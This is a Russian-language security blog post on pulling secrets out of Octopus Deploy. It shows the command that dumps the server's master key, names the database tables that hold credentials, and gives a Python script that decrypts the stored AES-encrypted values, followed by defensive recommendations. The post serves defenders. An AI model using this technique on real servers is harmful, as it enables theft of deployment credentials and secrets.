Перейти к основному содержимому
  1. Блог/

Получение секретов из Octopus Deploy

·2 минут·

Octopus Deploy — один из популярных инструментов для автоматизации развертывания приложений и управления CI/CD-процессами. Внутри себя Octopus может оркестрировать пайплайны, следить за релизами, развертывать приложения и хранить конфигурации и секреты для деплоя.

При этом злоумышленники могут добыть ценные данные из Octopus, даже если у них нет доступа к веб-версии инструмента. Все конфигурационные секреты Octopus хранит в отдельной базе данных, дополнительно шифруя их с помощью AES. Если злоумышленник получит доступ к системе, на которой развернут Octopus (с помощью дефолтных учетных данных или любой серверной уязвимости) — он может получить доступ к мастер-ключу, на котором шифруется база данных:

C:\Program Files\Octopus Deploy\Octopus\Octopus.Server show-master-key

Далее ему нужно будет получить доступ к базе, где хранятся данные от Octopus — и, с учетом нахождения ключа AES, расшифровать их. Самые интересные данные лежат в следующих таблицах:

dbo.Project — список проектов,

dbo.Machine — список машин внутри кубера или другой системы,

dbo.VariableSet — список переменных,

dbo.Proxy — настройки прокcи,

dbo.Account — список пользователей для управления CI/CD,

dbo.User — список внутренних пользователей Octopus.

Декодирование ключей из Octopus можно сделать вот так:

import sys
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 
# Check for input argument
if len(sys.argv) < 3:
    print("Usage: python decrypt.py <master_key> <encoded_variable>")
    sys.exit(1)
 
# Get master key from first CLI argument
base64_key = sys.argv[1]
 
# Get encoded_variable from second CLI argument
encoded_variable = sys.argv[2]
 
# Split encoded_variable into parts
cipher_data_b64, cipher_salt_b64 = encoded_variable.split('|')
 
# Decode from Base64
cipher_data = base64.b64decode(cipher_data_b64)
cipher_salt = base64.b64decode(cipher_salt_b64)
cipher_key = base64.b64decode(base64_key)
 
# AES decryption setup
cipher = AES.new(cipher_key, AES.MODE_CBC, iv=cipher_salt)
decrypted = cipher.decrypt(cipher_data)
 
# Unpad decrypted data
decrypted_value = unpad(decrypted, AES.block_size).decode('utf-8')

Как защищаться?

Со стороны Octopus.Server:

— разрешить доступ к управляющим портам сервера с Octopus только с выделенных IP-адресов,

— отслеживать запуск утилиты Octopus.Server,

— использовать для запуска сервиса только разрешенные gMSA учетные записи.

Со стороны базы данных:

— разрешить соединения с БД только со стороны сервера Octopus,

— логировать любые SELECT/UPDATE в критичных таблицах,

— настроить алерты на изменение данных или создание новых пользователей внутри БД.

Related